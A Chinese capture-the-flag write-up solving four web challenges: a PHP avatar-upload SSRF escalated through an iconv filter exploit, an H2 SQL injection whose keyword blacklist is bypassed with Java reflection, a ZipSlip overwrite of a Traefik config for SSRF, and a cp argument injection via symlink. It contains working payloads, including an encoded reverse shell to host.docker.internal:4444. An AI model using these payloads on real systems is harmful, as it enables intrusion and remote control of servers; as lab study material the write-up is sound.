Gavatar
核心逻辑如下:
upload.php
<?php
require_once 'common.php';$user = getCurrentUser();
if (!$user) header('Location: index.php');$avatarDir = __DIR__ . '/avatars';
if (!is_dir($avatarDir)) mkdir($avatarDir, 0755);$avatarPath = "$avatarDir/{$user['id']}";if (!empty($_FILES['avatar']['tmp_name'])) {$finfo = new finfo(FILEINFO_MIME_TYPE);if (!in_array($finfo->file($_FILES['avatar']['tmp_name']), ['image/jpeg', 'image/png', 'image/gif'])) {die('Invalid file type');}move_uploaded_file($_FILES['avatar']['tmp_name'], $avatarPath);
} elseif (!empty($_POST['url'])) {$image = @file_get_contents($_POST['url']);if ($image === false) die('Invalid URL');file_put_contents($avatarPath, $image);
}header('Location: profile.php');
可以看到文件上传的途径一共有两条,一种是上传本地文件,一种是读取外部文件.然而在读取外部文件的时候出现错误,使用file_get_contents
去读取未经验证的url参数,构成了文件读取漏洞.
在/avatar.php
中可以通过get传参?user=用户名
去查看读取的文件,因此构成了任意文件读取漏洞.
然而在给出的源码存在提示,需要RCE去执行命令,因此想到了iconv攻击.修改的Remote
类如下:
class Remote:"""A helper class to send the payload and download files.The logic of the exploit is always the same, but the exploit needs to know how todownload files (/proc/self/maps and libc) and how to send the payload.The code here serves as an example that attacks a page that looks like:```php<?php$data = file_get_contents($_POST['file']);echo "File contents: $data";```Tweak it to fit your target, and start the exploit."""def __init__(self, url: str) -> None:self.url = urlself.upload_url = url + "/upload.php"self.avatar_url = url + "/avatar.php?user=admin"self.session = Session()cookies = {"PHPSESSID": "88fe4496c51624869b3cf365d24cc47c"}self.session.cookies.update(cookies)def send(self, path: str) -> Response:"""Sends given `path` to the HTTP server. Returns the response."""data = {'url': path}files = {'avatar': ('', '', 'application/octet-stream')}self.session.post(self.upload_url, data=data, files=files)return self.session.get(self.avatar_url)def download(self, path: str) -> bytes:"""Returns the contents of a remote file."""path = f"php://filter/convert.base64-encode/resource={path}"response = self.send(path)return base64.decode(response.text)
这里再重新记录一下三个函数的作用:init对session和url进行初始化,send是发出读文件的请求,最后需要返回一个带有读到的文件的response给download函数.download函数将文件内容返回.注意必须是文件内容,如果读文件时有其他多余的字符,则需要正则过滤掉.
poc的其他部分不需要进行修改.
写马蚁剑连接即可.
EasyDB
这题考察点是H2注入.先来看一下注入点:
public boolean validateUser(String username, String password) throws SQLException {String query = String.format("SELECT * FROM users WHERE username = '%s' AND password = '%s'", username, password);if (!SecurityUtils.check(query)) {return false;}try (Statement stmt = connection.createStatement()) {stmt.executeQuery(query);try (ResultSet resultSet = stmt.getResultSet()) {return resultSet.next();}}
}
可以看到使用format去进行了字符串拼接,构成了H2注入漏洞.
正常的H2执行命令语句如下:
CREATE ALIAS hello AS $$ String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec("calc");return null;}$$;CALL EXEC ();
但是这里的问题在于题目使用 challenge.SecurityUtils#check
进行了黑名单过滤
public class SecurityUtils {private static final HashSet<String> blackLists = new HashSet<>();static {blackLists.add("runtime");blackLists.add("process");blackLists.add("exec");blackLists.add("shell");blackLists.add("file");blackLists.add("script");blackLists.add("groovy");}public static boolean check(String sql) {for (String keyword : blackLists) {if (sql.toLowerCase().contains(keyword)) {return false;}}return true;}
}
我们需要绕过上面的过滤才能实现 RCE
上面的过滤可以利用 Java 反射机制实现绕过,参考代码如下
Class c = Class.forName(new String(java.util.Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="))); // java.lang.Runtime
java.lang.reflect.Method m1 = c.getMethod(new String(java.util.Base64.getDecoder().decode("Z2V0UnVudGltZQ=="))); // getRuntime
Object o = m1.invoke(null);
java.lang.reflect.Method m2 = c.getMethod(new String(java.util.Base64.getDecoder().decode("ZXhlYw==")), String[].class); // exec
m2.invoke(o, new Object[]{new String[]{"/bin/bash", "-c", new String(java.util.Base64.getDecoder().decode("YmFzaCAtaSA+JiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA+JjE="))}}); // bash -i >& /dev/tcp/host.docker.internal/4444 0>&1
最终的 payload 如下, 注意需要对+号进行URL编码(非常重要,但是没好使应该是因为这个)
';CREATE ALIAS hello AS $$ String hello() throws Exception { Class c = Class.forName(new String(java.util.Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU=")));java.lang.reflect.Method m1 = c.getMethod(new String(java.util.Base64.getDecoder().decode("Z2V0UnVudGltZQ==")));Object o = m1.invoke(null);java.lang.reflect.Method m2 = c.getMethod(new String(java.util.Base64.getDecoder().decode("ZXhlYw==")), String[].class);m2.invoke(o, new Object[]{new String[]{"/bin/bash", "-c", new String(java.util.Base64.getDecoder().decode("YmFzaCAtaSA%2bJiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA%2bJjE="))}});return null; }$$; CALL hello();--
反弹shell后执行/readflag
命令拿到flag
traefik
main.go:
package mainimport ("archive/zip""fmt""io""net/http""os""path/filepath""strings""github.com/gin-gonic/gin""github.com/google/uuid"
)const uploadDir = "./uploads"func unzipSimpleFile(file *zip.File, filePath string) error {outFile, err := os.Create(filePath)if err != nil {return err}defer outFile.Close()fileInArchive, err := file.Open()if err != nil {return err}defer fileInArchive.Close()_, err = io.Copy(outFile, fileInArchive)if err != nil {return err}return nil
}func unzipFile(zipPath, destDir string) error {zipReader, err := zip.OpenReader(zipPath)if err != nil {return err}defer zipReader.Close()for _, file := range zipReader.File {filePath := filepath.Join(destDir, file.Name)if file.FileInfo().IsDir() {if err := os.MkdirAll(filePath, file.Mode()); err != nil {return err}} else {err = unzipSimpleFile(file, filePath)if err != nil {return err}}}return nil
}func randFileName() string {return uuid.New().String()
}func main() {r := gin.Default()r.LoadHTMLGlob("templates/*")r.GET("/flag", func(c *gin.Context) {xForwardedFor := c.GetHeader("X-Forwarded-For")if !strings.Contains(xForwardedFor, "127.0.0.1") {c.JSON(400, gin.H{"error": "only localhost can get flag"})return}flag := os.Getenv("FLAG")if flag == "" {flag = "flag{testflag}"}c.String(http.StatusOK, flag)})r.GET("/public/index", func(c *gin.Context) {c.HTML(http.StatusOK, "index.html", nil)})r.POST("/public/upload", func(c *gin.Context) {file, err := c.FormFile("file")if err != nil {c.JSON(400, gin.H{"error": "File upload failed"})return}randomFolder := randFileName()destDir := filepath.Join(uploadDir, randomFolder)if err := os.MkdirAll(destDir, 0755); err != nil {c.JSON(500, gin.H{"error": "Failed to create directory"})return}zipFilePath := filepath.Join(uploadDir, randomFolder+".zip")if err := c.SaveUploadedFile(file, zipFilePath); err != nil {c.JSON(500, gin.H{"error": "Failed to save uploaded file"})return}if err := unzipFile(zipFilePath, destDir); err != nil {c.JSON(500, gin.H{"error": "Failed to unzip file"})return}c.JSON(200, gin.H{"message": fmt.Sprintf("File uploaded and extracted successfully to %s", destDir),})})r.Run(":8080")
}
可以看到是有ZipSlip漏洞的,同时存在/flag
路由,如果可以ssrf的话就能够得到flag.
那么接下来就是去找文件覆盖的洞.traefik是一款反向代理工具,我们在conf目录下找到了dynamic.yml配置文件如下:
# Dynamic configurationhttp:services:proxy:loadBalancer:servers:- url: "http://127.0.0.1:8080"routers:index:rule: Path(`/public/index`)entrypoints: [web]service: proxyupload:rule: Path(`/public/upload`)entrypoints: [web]service: proxy
可以将其覆盖,配置新的/flag路由,同时添加组件实现ssrf
# Dynamic configurationhttp:services:proxy:loadBalancer:servers:- url: "http://127.0.0.1:8080"middlewares:add-x-forwarded-for:headers:customRequestHeaders:X-Forwarded-For: "127.0.0.1"routers:index:rule: Path(`/public/index`)entrypoints: [web]service: proxyupload:rule: Path(`/public/upload`)entrypoints: [web]service: proxyflag:rule: Path(`/flag`)entrypoints: [web]service: proxymiddlewares:- add-x-forwarded-for
比赛时没做出来,因为传的yml文件中没配置x-forwarded-for
的middlewares
backup
在源码的最下面存在注释:
$cmd = $_REQUEST["__2025.happy.new.year"]
可以通过传参_[2025.happy.new.year
去进行弹shell
拿到shell以后找不到提权,发现根目录下有backup.sh,查看如下:
#!/bin/bash
cd /var/www/html/primary
while :
docp -P * /var/www/html/backup/chmod 755 -R /var/www/html/backup/sleep 15s
那我们就首先想到了软链接.然而就有个问题,一般的cp -P
并不会带出来软链接的文件,需要有-H
参数才行.
这里就要去打一个命令注入.在primary
目录下去创建一个文件名位-H
,然后再去创建一个软链接.
ln -s /flag flag
15秒后去backup目录查看flag.